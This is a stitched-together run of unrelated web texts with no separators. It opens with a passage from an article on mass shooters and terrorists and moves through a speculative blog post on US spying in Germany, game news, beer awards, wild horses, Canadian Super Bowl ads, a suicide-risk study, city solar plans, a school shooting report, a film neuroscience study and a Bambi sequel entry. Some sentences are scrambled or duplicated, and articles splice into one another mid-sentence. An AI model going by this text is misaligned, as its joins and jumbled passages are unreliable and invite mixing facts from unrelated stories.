... all have something in common besides their decision to die (or attempt to die) while murdering a bunch of innocent people? I called up former Irish Republican Army terrorist bomber Shane O'Doherty again (since no one with more recent terrorism experience has yet emailed me ) and talked to "Jack," who in 1992 showed up at his school with two loaded shotguns and the intent to commit a massacre. I also read a bunch of interviews with attempted suicide bombers. What I found is that most of what we think we know about these people is either grossly simplified or outright bullshit.
#5. Myth: There's A Fundamental Difference Between Mass Shooters And Terrorists
Larry W. Smith/Getty Images News/Getty Images
When Elliot Rodger murdered six people in Isla Vista, California, the news referred to him as a "killer" and called his actions a "massacre" and a "rampage."
Google
Meanwhile, the Columbine killers were described as "gun-toting teens" and members of a "misfit clique."
The Paris attacks, meanwhile, were immediately defined as acts of terrorism, and people started dropping the "T"-word about the San Bernardino shootings as soon as the killer's extremely Muslimicious names were made public. The difference between the two would appear to be that one is the result of crazy people mindlessly unleashing violence because they think their dog told them to, and the other is an organized attempt to terrorize the populace in the name of some ideology. So, the reason America is freaking out so much now is that no one knows how many more attacks ISIS might inspire, whereas the Columbine shootings were awful, isolated events.
Reality: Mass Shootings Are Terrorist Acts (And Inspire More Terrorism)
The FBI defines terrorism as acts "dangerous to human life" that are intended "to influence or coerce a civilian population." It adds that those acts can be intended to coerce governments, too, but that's not necessary. If you think about it, that's the only definition of terrorism that's remotely workable: It doesn't matter who sponsored the act, what ideology it served, or whether or not there was some specific policy the terrorist wanted changed -- if it's an act of violence intended to terrorize a population in order to change their behavior, it's terrorism. If a group of radicals blew up a golf tournament in the name of discouraging people from playing the sport, no one would hesitate to call them terrorists.
Ross Kinnaird/Getty Images Sport/Getty Images
"Should we ban sand bunkers on courses?" -- Fox News
So now let's look at Elliot Rodger, who said:
"I will deliver a blow to my enemies that will be so catastrophic it will redefine the very essence of human nature."
"I had Bon Jovi's song 'Blaze Of Glory' playing on a loop for a long time.... There were some thoughts of being regarded as a hero by some people. Or the anti-hero.... That fantasy was a big driving part." That's from his stupid manifesto. The "enemies" he's referring to are all the women who wouldn't have sex with him, and also all the men who had sex with those women. That was also apparently part of the Oregon shooter's motive. Dylan Klebold and Eric Harris, the Columbine shooters, left behind tapes where they talked hopefully of kick-starting a revolution (and they also complained about girls). Our source "Jack," whose aborted shooting spree took place around two years before Columbine, didn't have any kind of manifesto. But he did want his shooting to send a message to the popular, athletic kids who'd bullied him. He also wanted to stand as an example for his "people" (other quiet, nerdy kids who got bullied a lot).
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"Becoming a suicide bomber is a social process," which requires "a community that extols perpetrators as heroes and embraces their acts as a noble form of resistance." Robert Dear, the Planned Parenthood shooter, is just one in a If you compare that to groups the media thinks of as terrorists, you see a remarkably similar story. In Edna Erez's study of Palestinian suicide bombers, she noted that,which requiresRobert Dear, the Planned Parenthood shooter, is just one in a long line of crazy people fighting a war against abortion, all inspired by each other and a community of applauding extremists. There have been at least 74 copycat attacks and attempted attacks directly inspired by the Columbine killers in just 16 years.
At this point, some of you might be saying, "You know what else all these people have in common? They're all fucking loons." After all, isn't there a fundamental difference between a jihadi who believes a bunch of propaganda and a crazed loner whose brain is physically broken somehow? But if you believe these shootings are all caused by craziness, you've bought into another misconception...
#4. Myth: Mass Shootings Start With Mental Illness
Movus/iStock/Getty Images
The wake of any mass shooting is a flurry of in-depth analyses of the shooter's motives and sanity. The only thing everyone agrees on about any given shooter is that they were crazy. Whether you're Donald Trump
NBC News
... or The New York Times,
The New York Times
... everyone agrees that mental illness is a major part of the pattern of massacres that currently dominates the news cycle. But the evidence doesn't exactly back this assumption up. It seems like the popular culture is using a kind of circular logic that goes, "We know mental illness caused this mass shooting, because you'd have to be mentally ill to commit a mass shooting."
But we know that's not true, because we don't say that about Islamic terrorists -- in their case, believing a certain ideology and harboring enough self-righteous hatred is enough. Why can't it be true for the rest? Why can't a perfectly sane person just be that full of rage?
Reality: It's More About Humiliation Than Mental Illness
Jack was very nearly a mass shooter himself. In the early 1990s, before Columbine, he walked into his school with two sawed-off shotguns and the intention of killing a whole bunch of people. (Spoiler: He was stopped at the last minute.) Today Jack is a stable, employed adult with a child of his own. He clearly wasn't in a healthy state of mind at the time of his planned attack, and we're sure he'd have received some post-mortem diagnosis if he'd carried out his plan, but he didn't blame his actions on mental illness. He said, "Absolutely, humiliation was one of the biggest factors."
Justin Sullivan/Getty Images News/Getty Images
And this was back when bullying was still analog. Now imagine throwing cyberbullying in the mix.
See, Jack was a small, nerdy kid in school who was tormented by a group of "jocks." One particular incident of abuse came up again and again when he discussed the motivations for his shooting:
"I was 14, walking home from play rehearsal; a group of six football players also followed me. JV, varsity whatever they were -- all of them had an advantage on me individually, and as a group I didn't stand a chance. They held me down on an isolated stretch of the bike path, beat me, force-fed me hand full of grass, and then using a quarter began to rub the back of my hand, and said they wouldn't stop until I screamed. I still wake up with nightmares of that day, feeling trapped and being squished. I refused to comply, until they had nearly cut a hole in my hand nearly to the bone."
In those interviews with Palestinians arrested for attempted suicide bombings, all seven of them mentioned the sense of humiliation they felt at the oppression of their people as a major motivating factor. Variations of the word "humiliation" showed up frequently when I read every issue of ISIS' magazine, Dabiq. I noticed it most recently in an article in issue 12, which came out shortly after the Paris terror attacks. The article is a letter to mujahids (soldiers of ISIS), and it refers to them as men who have rejected the humiliation of Western domination and life in secular society.
ISIS
And while humiliation shows up a lot, whether you're talking about the motivations of terrorists or mass shooters, what doesn't show up often is mental illness. One study of mass shooters found that just 23 percent had any existing psychiatric history at the time of their attack. Only 6 percent were psychotic. Meanwhile, nearly half were victims of bullying. Likewise, a 2003 study of "suicide terrorists" noted:
Shane agreed that humiliation had played a role in his own radicalization as a young man. "There was always a sense too in Ireland that we weren't allowed to rule our own country, that sense of national humiliation." Still, he warned me against giving that sense of humiliation all the credit. "I don't think humiliation will carry the young person out the door.... There has to be an overarching, and much higher reasoning."
Shane felt that reasoning was usually religious, the sense that "God is on my side." But not every terrorist does it for God, and the question of what it takes to carry a domestic terrorist "out the door" is exactly what the FBI has been asking since Columbine. I asked Jack, our almost-mass shooter, what had pushed him out the door. His answer surprised me...
#3. Myth: Violent Media Doesn't Influence Mass Shooters
Tristan Fewings/Getty Images Entertainment/Getty Images
Now, here's where things get tricky. Whether or not the popular myth is "violent media turns kids into killers" or "violent media is harmless fantasy" depends entirely on what audience you're speaking to. We're guessing our readers are heavily in the latter group. This, to at least some degree, is driven by a reflexive negative reaction to threats of censorship, which is perfectly understandable -- banning a certain type of movie, song, or game is not going to make mass killings go away.
But the logic seems to be that since approximately 100 percent of kids watch action movies and play violent video games these days, wouldn't they all be killers if media could really affect people in that manner?
Mario Tama/Getty Images News/Getty Images
"The only thing GTA killed was my GPA."
Unfortunately, the truth is not that simple.
Reality: Media, Combined With Social Isolation, Can Inspire Killers
Most of us think of Islamic terrorist as being brainwashed. From birth, they're hammered by propaganda that insists suicide in the name of jihad is glorious and that the infidels are inhuman monsters whose lives hold no value. But in the process of saying that, we are quietly agreeing that media, if applied under the right circumstances, can program a person to kill.
So let's say that from birth, another child in another culture was surrounded by media that universally praises the idea of violent revenge as a righteous, noble, and sexy way to solve his problems, and which consistently paints all antagonists as inhuman monsters whose lives hold no value. Why is it ridiculous to believe that a certain percentage of the time, said child would internalize those values? Especially if he perceived that his own life had reached the "no other choice" stage every movie hero needs in the first act to justify the slaughter in the second?
YouTube
Everyone is the hero of their story in their mind.
Jack didn't blame video games or movies for his crime, but he did say that all the violent media, combined with his extreme social isolation, contributed to his mental state. "The idea to go into my high school with two sawed-off shotguns, a bayonet from the [Boer War], hundreds of rounds of ammo, and pipe bombs did not come to me over night. It started off like most revenge fantasies. Reservoir Dogs had come out that year, and Clint Eastwood's Unforgiven [on the other hand]; so did White Men Can't Jump and Sister Act, but I think the violence did help to set the mood."
"became the ultimate symbol of young Irishmen for decades." Songs like "Kevin Barry," Video games didn't really exist back in the days when teenage-Shane agreed to shoot and bomb people at the Irish Republican Army's behest. But he did credit the whole genre of Irish "rebel" songs with some influence on himself and other radical young men. He pointed specifically to the case of Kevin Barry, an Irish teen executed in 1920 for taking part in an attack that killed three British soldiers. Barry's death was memorialized in song by Leonard Cohen. According to Shane, BarrySongs like "Kevin Barry," "Fuck The British Army," or "Come Out Ye' Black and Tans" didn't create new terrorists, but they did a great job of reinforcing the angry young men who were already on a certain trajectory.
There's a reason ISIS funds the AlHayat Media Center, their PR wing with a curiously good-looking magazine and a curiously shitty website.
Al-Hayat Media Center
"We just upgraded our font from Papyrus!"
And there's a reason almost every issue of Dabiq includes a fawning story about the actions of some suicide bomber: They want anyone contemplating an attack to know their actions will be remembered and celebrated. You're targeting people with a strong sense of humiliation and no sense of community, and promising them great power and social status -- the two things they've never had. In every circumstance, there was a concerted effort on someone's part to make violence seem cool.
The relatively lonely, isolated status of most mass shooters means any community they interact with and any media they consume will have an outsized impact on their psyche. In the weeks before Columbine, Eric Harris purposefully isolated himself from his family so the shooting wouldn't be "harder to do." (Some 70 percent of mass shooters are described as "loners." ) The San Bernardino shooters have also been described as withdrawn loners. Robert Dear, the Planned Parenthood shooter, lived alone in a shack. He didn't spend much time around other people, but he'd apparently watched those Planned Parenthood videos enough that his rambling about them was one of the few things authorities have been able to decipher.
In Jack's case, that isolation came when he was grounded for stealing some computer parts with his friends. His newfound criminal record meant his planned career in the Marine Corps couldn't happen, which left him feeling like he had no future. His humiliation, loneliness, hopelessness, and the garnish of a steady diet of violent movies all contributed to his decision to carry out a mass shooting. He no longer had the social boundaries that keep most people's violent fantasies from ever becoming real.
As the days and then hours ticked by until the date of his shooting spree, Jack experienced something else that seemed at odds with the common perception of a mass shooter...It just hasn't been a good week for the CIA. A year after Edward Snowden revealed that the US was bugging Angela Merkel's cell phone, first one then, moments ago, Suddeutsche Zeitung revealed that a second "spy case" involving the US (read CIA) have been revealed. According to SZ, an unidentified man working in military-related area likely to be questioned today over suspicion of spying for a U.S. intelligence service in Germany. The home and office of the suspect were being searched in Berlin area. SZ adds that the case is more serious than unrelated allegations against double agent at BND Federal Intelligence Service that emerged last week. In the meantime, the US ambassador to Germany went to the foreign ministry for a "talk" - perhaps it is to remind the local just how extensive Angela Merkel's DDR file is, and just what would be revealed about her proximity to the Kremlin if push came to shove.
More from AP:
German authorities are investigating a second spy case reportedly involving the U.S., a week after the arrest of a German intelligence employee cast a new shadow over relations between the two countries. Federal prosecutors said Wednesday that police raided properties in the Berlin area on "initial suspicion of activity for an intelligence agency." They did not elaborate or specify what intelligence agency was involved, but said they had not made an arrest. The daily Sueddeutsche Zeitung reported, without naming sources, that the man being investigated worked in "the military field" and is suspected of spying for the United States. A 31-year-old German intelligence employee was arrested last week on suspicion of spying for foreign powers since 2012. German media have reported he spied for the United States and offered his services to Russia. The case has frayed relations between Berlin and Washington, which were already strained by reports last year that the National Security Agency spied on Chancellor Angela Merkel's cellphone. The U.S. ambassador to Berlin was summoned to the Foreign Ministry on Friday after news of that case broke. He was asked to help clarify the case. Ambassador John B. Emerson was at the ministry again on Wednesday for a meeting with a senior official, said a German official who spoke on condition of anonymity because he wasn't authorized to discuss the case publicly. It wasn't immediately clear whether Emerson was summoned and whether the discussion involved the new case.
Curiously, while Merkel had much to say about the historic Germany trouncing of Brazil in the world cup, she had no comment on either of the spy cases. One wonders just how much dirt on the German chancellor the NSA has. Here's a hint: "New Biography Causes Stir: How Close Was Merkel to the Communist System?" Then again, considering the public fury over US spying, maybe the recent two "unmolings" are an indication that just as the US prepares to punish Commerzbank and Deutsche Bank, Germany will no longer stand idly by and allow its "closest ally" to dictate its fate much longer.It’s been 25 years since Jason Voorhees took on Nintendo game players in the officially licensed Friday the 13th video game.
Now, EGM has learned that a new Friday the 13th game is currently in development, and will reportedly be an asymmetrical, co-operative and competitive multiplayer predator/prey horror experience that pits a small group of resourceful survivors against a single player in control of the immortal, relentless slasher icon.
Yes, someone gets to actually be the infamous Jason Voorhees!
The new game, tentatively titled Friday the 13th, is in development for multiple platforms for an October 2015 release. The game’s lore will not only reference elements from the classic film franchise, but also incorporate content and themes from the upcoming “Friday the 13th” television series.
“With a new television series on the horizon and plans announced for the thirteenth installment of the film franchise, we felt the timing was right to finally explore Jason, Camp Crystal Lake, and the rest of the Friday the 13th story in interactive form,” explains Sean S. Cunningham, creator of the original film that is credited by many as the genesis of the slasher/horror genre. “We have some exciting new ideas for a game that supplies plenty of replay value, while delivering the kinds of thrills and scares that fans of the franchise have come to expect.”
Cunningham hints that an experienced game studio has taken the reins of the title’s development and will be announced in the coming weeks.
My only concern is that it sounds rushed, which never bodes well for video games.More than 400 beers and ciders were judged in February for New World's Beer and Cider Awards.
Boutique breweries have taken out top awards at the annual Beer and Cider awards.
Over 400 different beers and ciders from 83 brewers were submitted to a blind judging panel of experts for the 2016 New World Beer & Cider Awards.
Each drop was assessed for qualities such as technical excellence, balance and, most-importantly, drinkability. Overall 40 gold medals were awarded, with 13 taking home the overall Best in Class award.
Lindsay Keats Each drop was assessed for technical excellence, balance and, most-importantly, drinkability.
Judge, beer writer and author Michael Donaldson, said there is no doubt New Zealand breweries were producing world-class brews.
READ MORE:
* Lion named top brewery at New Zealand Beer Awards
* Beerhive Blog: Champion brewers through the ages
* Kiwi beer price to rise by 3 per cent
* Wellington reigns as craft beer capital in sweep of SOBA awards
* Nelson region recognised at national beer awards
Lindsay Keats The beer award entrants offered'something for everybody".
"The range of award winners is testament to the strength of the industry," he said.
Donaldson said the awards offered something for everyone – from traditionalists who might prefer Steinlager Pure to hop-heads who would love Garage Project's Los Lobos, to dessert-lovers who might opt to experiment with Kereru's decadent Imperial Nibs.
"The awards help take people out of their traditional comfort zone and give consumers the confidence to try new styles and brands.
"We often find a drink we like and stick with it, but there is so much to explore in this burgeoning industry and the list of award-winners is a great place to start – it's a treasure trove of exciting and innovative beer and cider.
"Most importantly, no matter what their preference or personal taste, New World customers can purchase a Gold Medal winner and know they are going to sample something special."
The winners were:
* Pale Ale – Epic Pale Ale
* IPA – Epic Armageddon IPA
* European-style Ale - Sparks Brewing Prospector Farmhouse Ale
* British-style Ale – Emerson's Bookbinder
* American-style Ale – Garage Project Los Lobos
* Lager – Steinlager Pure
* Pilsner – Tuatara Bohemian Pilsner
* Wheat & Other Grain Beer – Moa Southern Alps White IPA
* Stout, Porter & Black Beer – Eagle Brewing Coalface Stout
* Experimental, Aged, Fruit & Flavoured Beer – Kereru Imperial Nibs
* Lower Alcohol & Session Beer – Peroni Leggera
* Apple & Pear Cider – The Hills Cider Company Pear Cider
* Fruit & Flavoured Cider – Good George Brewing Doris(Reuters) - The U.S. government said on Wednesday it has no plans to euthanize a large share of the more than 45,000 wild horses and burros removed from lands mostly in the U.S. West, after an advisory panel’s proposal to kill some of the animals sparked outrage.
Wild horses stand in a corral as the Bureau of Land Management (BLM) gathers the horses along Highway 21 near the Sulphur Herd Management Area south of Garrison, Utah, in this February 26, 2015 file photo. REUTERS/Jim Urquhart/File Photo
U.S. Bureau of Land Management officials said they struggle to find people to adopt the growing number of wild horses and burros, which costs the agency millions annually to maintain in corrals and pasturelands.
The National Wild Horse and Burro Advisory Board on Friday recommended the bureau consider euthanizing the animals that cannot be adopted, or selling them to companies that might slaughter them.
But Tom Gorey, a spokesman for the bureau, said in an email that the agency will “continue its current policy of caring for unadopted or unsold wild horses and burros” and will “not sell or send any animals to slaughter.”
The bureau is expected to formally respond to the panel at its next meeting within months.
The panel’s recommendation created an uproar among animal rights activists and highlighted the challenges ahead for the U.S. government as it seeks to control the population of wild horses and burros.
Gillian Lyons, wild horse and burro program manager for the Humane Society of the United States, said members of the public were quick to criticize the idea of killing the wild animals.
“It’s something the American public just doesn’t know about, you don’t think of wild horses being held in facilities all across the United States,” Lyons said.
She added that the bureau has a responsibility to the animals because it captured them.
Even after decades of round-ups of wild horses and burros, 67,000 of these animals roam the United States, mostly in Nevada and California, according to government estimates.
Without natural predators, they have proliferated far beyond the roughly 27,000 animals the U.S. government says would be a population low enough to prevent overgrazing and preserve land for other animals.
The bureau spends nearly $50 million a year in upkeep for captured horses and burros, Gorey said.
The Humane Society alleges the bureau spends so much paying private contractors to hold the animals that it cannot afford to expand its program to administer birth control to the animals on the range, which it contends would be more effective for population control than round-ups.
But the bureau counters fertility control is difficult, in part because the birth control drug wears off in less than two years.Pigeons are disgusting. In New York City, they’re rats with wings. In other places, wood pigeons are an entirely different kind of pest- specifically, to farmers. Left unchecked, they can destroy entire crop fields. In his most recent upload to YouTube, Gordon Ramsay heads to Essex, where farmers work to keep the pigeon population down in order to have successful harvests.
Ramsay has another thing on his mind: lunch. After learning to shoot, he successfully kills a pigeon and uses it to prepare a pigeon breast with black pudding and pancetta over a salad. Leave it to him to make pigeon actually look appetizing, though we can’t imagine we’ll be ordering it anytime soon.
Watch the video below. Warning: it’s kind of gory, and there’s a lot of cursing:
[image via screen grab, YouTube]
Related:
Here Are The Items Every Home Cook Needs, According to Gordon Ramsay
Gordon Ramsay Ruined a Marriage Proposal by Congratulating the Couple Before They Were Engaged
Gordon Ramsay Will Teach You Five Important Cooking Skills
–
Have a tip we should know? tips@mediaite.comOTTAWA -- Coming soon to a Canadian TV near you: American ads during the Super Bowl.
The iconic U.S. pitches, which are nearly a bigger draw than the game itself, must be shown on Canadian television starting in 2017 instead of broadcasters swapping in Canadian ones, the Canadian Radio-television and Telecommunications Commission declared Thursday.
"The Super Bowl is something special," Jean-Pierre Blais, chairman of the CRTC, said in an interview.
"The advertisement around the Super Bowl is part of the spectacle, there's hype and has been for decades before the event and during the event. It is very much a special case."
Thursday's decision is the latest consumer-friendly move from the broadcast regulator as it seeks to respond to the way changing technology is giving people more choice and the ability to have a louder voice when deciding how they want to watch TV.
The practice of simultaneous substitution, known as simsub, allows Canadian broadcasters who buy American shows to swap out U.S. ads for Canadian ones.
But at the same time, it enrages viewers, who each year deluge the CRTC with complaints during Super Bowl season, especially when technical glitches cut off key plays in the game, Blais said.
The ad swaps are an exception to the general rule that broadcasters can't alter the signals they receive and send over the air. But the revenue they generate is considered essential and is why broadcasters will still be able to do it for everything else, including live events such as the Academy Awards or World Series.
"We are maintaining the exception because there is some value, about $250 million, to the broadcast system which they then can invest in news and information but it is an exception," he said.
"And the Super Bowl is an exception in that world because the advertisements are part of the spectacle."
The CRTC will keep a watchful eye on how broadcasters handle the ad switches, threatening penalties for mistakes that compromise broadcasts.
Live-event simultaneous substitution makes $40 million for CTV, which currently owns the broadcast rights for the Super Bowl.
The change may reduce the incentive for any Canadian network to carry the game, suggested Adam Shine, a telecom, cable and media analyst at National Bank Financial.
"The broadcaster has effectively been stripped of material revenue related to the game, and domestic advertisers get no exposure during the biggest TV event of the year," he said in an e-mail.
This year, CTV is believed to be charging between $170,000 and $200,000 for 30 seconds of airtime during the game.
They expressed dismay at the news, saying it will cost Canadian jobs.
"Sure viewers will get to watch Wells Fargo ads in the Super Bowl instead of RBC, or Target and Wal-Mart instead of Canadian Tire," said Scott Henderson, the vice president of communications for Bell Media, the parent company of CTV, in an e-mail.
"But those advertising dollars will go directly to American companies instead of Canadian content creators and broadcasters."
Canadians already flock to YouTube to check out the latest crop of U.S. commercials, some of which cost millions to produce and look like miniature films.
One of them is the CRTC's Blais, who admitted to going online to check them out himself.A multi-national study has identified the behavior patterns that precede many suicide attempts.
According to researchers, this could help lead to changes in the care of patients affected with depression.
According to the World Health Organization (WHO), more than 800,000 people commit suicide every year, with perhaps 20 times that number attempting suicide. Suicide is one of the leading causes of death in the young. For example, in the UK, it is the leading cause of death in men under the age of 35, according to WHO officials.
Those statistics fueled the international BRIDGE-II-MIX study looking at depression and suicide. The researchers evaluated 2,811 patients suffering from depression, including 628 who had already attempted suicide.
Each patient was interviewed by a psychiatrist as if it were a standard evaluation of a mentally ill patient. Parameters included previous suicide attempts, family history, current and previous treatment, patients’ clinical presentation, and how they scored on the standard Global Assessment of Functioning scale.
The researchers looked especially at the characteristics and behaviors of those who had attempted suicide, and compared these to depressed patients who had not attempted suicide.
What they found is that certain patterns are common before suicide attempts.
“We found that ‘depressive mixed states’ often preceded suicide attempts,” said Dr. Dina Popovic of the Hospital Clinic De Barcelona in Barcelona, Spain. “A depressive mixed state is where a patient is depressed, but also has symptoms of excitation, or mania.
“We found this significantly more in patients who had previously attempted suicide than those who had not. In fact, 40 percent of all the depressed patients who attempted suicide had a mixed episode rather than just depression. All the patients who suffer from mixed depression are at much higher risk of suicide.”
The researchers also found that the standard Diagnostic and Statistical Manual of Mental Disorders (DSM) criteria identified only 12 percent of the patients showing mixed states.
“Our methods showed 40 percent of at-risk patients,” Popovic noted. “This means that the standard methods are missing a lot of patients at risk of suicide.”
In a second analysis of the figures, the researchers found that the risk of attempting suicide is 50 percent higher if a depressed patient presents any of the following symptoms:
Risky behavior (e.g. reckless driving, promiscuous behavior);
Psychomotor agitation (pacing around a room, wringing one’s hands, pulling off clothing, and putting it back on and other similar actions); or
Impulsivity (acting on a whim, displaying behavior characterized by little or no forethought, reflection, or consideration of the consequences).
“In our opinion, assessing these symptoms in every depressed patient we see is extremely important, and has immense therapeutical implications,” Popovic said.
“Most of these symptoms will not be spontaneously referred by the patient. The clinician needs to inquire directly, and many clinicians may not be aware of the importance of looking at these symptoms before deciding to treat depressed patients.”
She added that this is an “important message for all clinicians — from the GPs who see depressed patients and may not pay enough attention to these symptoms, which are not always reported spontaneously by the patients, through to secondary and tertiary level |
ordered city officials to step up their efforts on several energy issues, including looking at renewables, and the council ordered an interim report on progress by the end of this month.
This week, a memo from Independence Power and Light Director Leon Daggett to City Manager Robert Heacock summarized progress and pointed out that IPL earlier this month put out a “request for proposal,” soliciting plans for a three- to 10-megawatt solar farm on IPL property. Companies have until Dec. 10 to get their ideas to the city.
Also, Daggett wrote, staff is looking over three wind-power proposals that have been submitted.
“If the City were to move forward with both the wind and solar purchase power agreements,” Daggett wrote, “the percentage of renewable energy to serve the City load would increase from the current 5 percent to over 10 percent.”
Most of IPL's electricity - 60 percent - is generated at two plants, both fired by coal. One is KCP&L's plant near Weston, Missouri, and the other is in Nebraska. IPL's Missouri City coal-fired plant is closing in about a year, and the Blue Valley plant on Truman Road is switching from coal to natural gas in 2016. About 5 percent of IPL's power comes from a wind farm in Kansas. IPL officials have said their plan has been to get to 10 percent renewables by 2018.
Daggett's memo also mentions a recommendation that the city consider a “community solar program” under which customers could buy, for the long-term, a share of the power produced at a solar facility.
A solar farm could make a dent in demand for power from coal. For example, the city of Butler recently opened a 17-acre solar farm to produce 3.2 megawatts of power, toward the low end of what Independence is looking at. That's enough power for about 1,500 homes. IPL has 51,000 customers.
The city also is being encouraged to look at solar photovoltaic units for some city buildings. Engineering firm Burns & McDonnell looked at 29 city buildings and said four are worth a close look:
-- The Water Pollution Control Department's Rock Creek plant on Norledge.
-- IPL's service center at the Blue Valley plant.
-- The Public Works Department's maintenance facility on Crysler just north of 23rd Street.
-- Fire Station No. 7 on Hub Drive near Missouri 291 and 23rd Street.
Those four stood out because they have the space for solar arrays on the ground, and that's assumed to be cheaper than putting them on rooftops or on carports.
Burns & McDonnell said wind and geothermal power aren't good options but suggested keeping an eye on wind power as costs continue to come down.
Separately, a Kansas City company called Brightergy looked at roof-top solar and identified a dozen buildings on which the city would recoup its costs in 13 to 19 years. The quickest payback was at the Independence Events Center, followed by the IPL service center, the Water Pollution Control maintenance facility on Truman Road, the Rock Creek sewer plant, police headquarters, the Health Department on Liberty Street, fire stations 2, 3, 4 and 7, City Hall and the National Frontier Trails Center.
Burns & McDonnell also recommended improving the city's Home Energy Loan Program, or HELP, and getting the word out more about such programs. It also suggests a program under which IPL would buy LED bulbs in bulk and sell them to residents at a reduced cost.
Independence Power and Light is moving its offices to the medical building on the east side of the old Medical Center of Independence property. (The hospital building itself has been torn down.)
The city is aiming for Leadership in Energy and Environmental Design, or LEED, certification for the building, meaning the use of best practices in producing and conserving power. For example, the city is looking at solar and wind power at the site. Daggett's memo say gold certification is possible but it's too soon to know if a platinum rating - the highest of four levels - is within reach.
About 150 LEED-certified buildings in Missouri are listed at greenbuildingwire.com, and about one-third are gold. Eight are platinum, including the headquarters and plant for Posty Cards in Kansas City.(CNN) -- A Nebraska assistant high school principal died Wednesday night after she was shot by a student who also shot the school's principal, a police spokesman said.
The student, a senior identified by police as Robert Butler Jr., 17, was later found dead of an apparent self-inflicted gunshot wound in his car, Omaha Police Officer Michael Pecha said. Butler had recently transferred to Millard South High School, Pecha said.
Millard South Assistant Principal Vicki Kaspar, 58, was life-flighted to Creighton University Medical Center after the shooting, police said. Principal Curtis Case, 45, was taken to the same hospital, where he is listed in serious but stable condition.
Police Chief Alex Hayes said Butler was the son of an Omaha police detective who had served on the force for seven years. Pecha said detectives were interviewing the elder Butler.Using advanced functional imaging methods, New York University neuroscientists have found that certain motion pictures can exert considerable control over brain activity. Moreover, the impact of films varies according to movie content, editing, and directing style. Because the study, which appears in Projections: The Journal for Movies and Mind, offers a quantitative neuroscientific assessment of the impact of different styles of filmmaking on viewers' brains, it may serve as a valuable method for the film industry to better assess its products and offer a new method for exploring how the brain works.
The study's authors are: Uri Hasson, Barbara Knappmeyer, Nava Rubin, and David Heeger, who hold appointments in NYU's Department of Psychology and Center for Neural Science, as well as Ohad Landesman, a doctoral candidate in the Department of Cinema Studies at NYU's Tisch School of the Arts, and Ignacio Vallines, a research scientist at the University of Munich.
The researchers relied on two methodological tools in their study: functional magnetic resonance imaging (fMRI) and inter-subject correlation (ISC) analysis. fMRI utilizes a magnetic resonance imaging (MRI) scanner--like that routinely used for clinical evaluation of human anatomy. But it is reprogrammed to get a time-series of three-dimensional images of brain activity. In a typical fMRI experiment, a time-series of brain activity images is collected while a stimulus or cognitive task is varied. ISC analysis is employed to measure similarities in brain activity across viewers--in this case, it compared the response in each brain region from one viewer to the response in the same brain region from other viewers. Because all viewers were exposed to the same films, computing ISC on a region-by-region basis identified brain regions in which the responses were similar across viewers.
"In cinema, some films lead most viewers through a similar sequence of perceptual, emotional, and cognitive states," the researchers wrote. "Such a tight grip on viewers' minds will be reflected in the similarity of the brain activity--or high ISC--across most viewers. By contrast, other films exert--either intentionally or unintentionally--less control over viewers' responses during movie watching. In such cases we expect that there will be less control over viewers' brain activity, resulting in low ISC."
To stimulate subjects' brain activity, the researchers showed them three motion picture clips: thirty minutes of Sergio Leone's "The Good, the Bad and the Ugly"; an episode of Alfred Hitchcock Presents "Bang! You're Dead"; and an episode of Larry David's "Curb Your Enthusiasm." To establish a baseline, subjects viewed a clip of unstructured reality: a 10-minute, unedited, one-shot video filmed during a concert in New York City's Washington Square Park.
The results showed that ISC of responses in subjects' neocortex--the portion of the brain responsible for perception and cognition--differed across the four movies:
The Hitchcock episode evoked similar responses across all viewers in over 65 percent of the neocortex, indicating a high level of control on viewers' minds;
High ISC was also extensive (45 percent) for "The Good, the Bad and the Ugly";
Lower ISC was recorded for "Curb Your Enthusiasm" (18 percent) and for the Washington Square Park, or unstructured reality, clip (less than 5 percent)
"Our data suggest that achieving a tight control over viewers' brains during a movie requires, in most cases, intentional construction of the film's sequence through aesthetic means," the researchers wrote. "The fact that Hitchcock was able to orchestrate the responses of so many different brain regions, turning them on and off at the same time across all viewers, may provide neuroscientific evidence for his notoriously famous ability to master and manipulate viewers' minds. Hitchcock often liked to tell interviewers that for him 'creation is based on an exact science of audience reactions.' "
However, the researchers emphasized that low and high ISC does not necessarily imply that the viewers were not attentive to or not engaged with the events in those films.
"ISC measures only the ability of the filmmaker to evoke similar responses across all viewers," they wrote. "Similar brain activity across viewers, or high ISC, can be taken as an indication that all viewers process and perceive the movie in a similar manner. Variability in the brain activity across viewers--that is, low ISC--can be due to either a less engaged processing of the incoming information, which occurs when daydreaming, or due to an intensely engaged but variable processing of a movie sequence."
For example, they add, an art film may demand an intense intellectual effort from viewers that differs from one viewer to the next, resulting in differences in neural activity.
Apart from the findings, the study points to a new method--inter-subject correlation (ISC) of brain activity--for measuring the effect of films on viewers' minds, which may pave the way to an innovative approach the researchers label "neurocinematic" studies. While they add that a cognitive science analysis of film is not new, functional imaging methods may be of use to both film theorists and the film industry by providing a quantitative, neuroscientific assessment of viewers' engagement with a film.
###Bambi's Children: The Story of a Forest Family (German: Bambis Kinder: Eine Familie im Walde) is a novel written by Austrian author Felix Salten as a sequel to his successful work Bambi, A Life in the Woods.
Background [ edit ]
The sequel to Bambi follows the lives of the twin children of Bambi and his mate Faline as they grow from fawns through adulthood. Salten wrote the sequel while living in exile in Switzerland after being forced to flee Nazi-occupied Austria as he was of Jewish heritage.[1] Originally written in German, the novel was first published in English in the United States in 1939 by Bobbs-Merrill. It was not published in German until the following year.[2] Perri, a squirrel character from one of Salten's earlier novels, makes several appearances in the book.
The models for Geno and Gurri were Felix Salten's own children, Paul who was careful and timid, and Anna Katharina, who was merry and optimistic.[3] Salten also included himself as the responsible and humane hunter in the novel.[4]
Translation history [ edit ]
In German language, the content of Bambi’s Children is more violent, even gorier than that of Bambi, A Life in the Woods, but violent depictions of killings and mutilated animals have been toned down or removed from the English translation so that its language appears gentler than that of Bambi.[5]
Although the title page of the American edition claims that the English translation is “complete and unabridged,” in reality it is somewhat abridged and greatly altered in tone and content; for instance, italicized wordplay has been added to the English edition. On the other hand, the 1977 Swedish translation, Bambis barn, is essentially abridged, without a mention of this in the book.[6]
Felix Salten himself did not want to be identified merely a children's author, and he opposed the changes his American publisher wanted to make in Bambi’s Children, for instance to the section which depicts the mating season of the deer. He wrote to his American publisher:
“At this time I beg you most urgently, quite apart from softenings, not to advertise my work as a children’s book or to launch it otherwise in such a way.”[7]
Salten's original German text of Bambis Kinder does not have chapter divisions; the text is only divided into 22 unnumbered sections by blank lines. However, the English-language edition consists of 30 chapters, and the abridged Swedish edition only has 14 chapters.
Barthold Fles’ English translation has also been released with illustrations by Phoebe Erickson (1976) and Richard Cowdrey (2014).
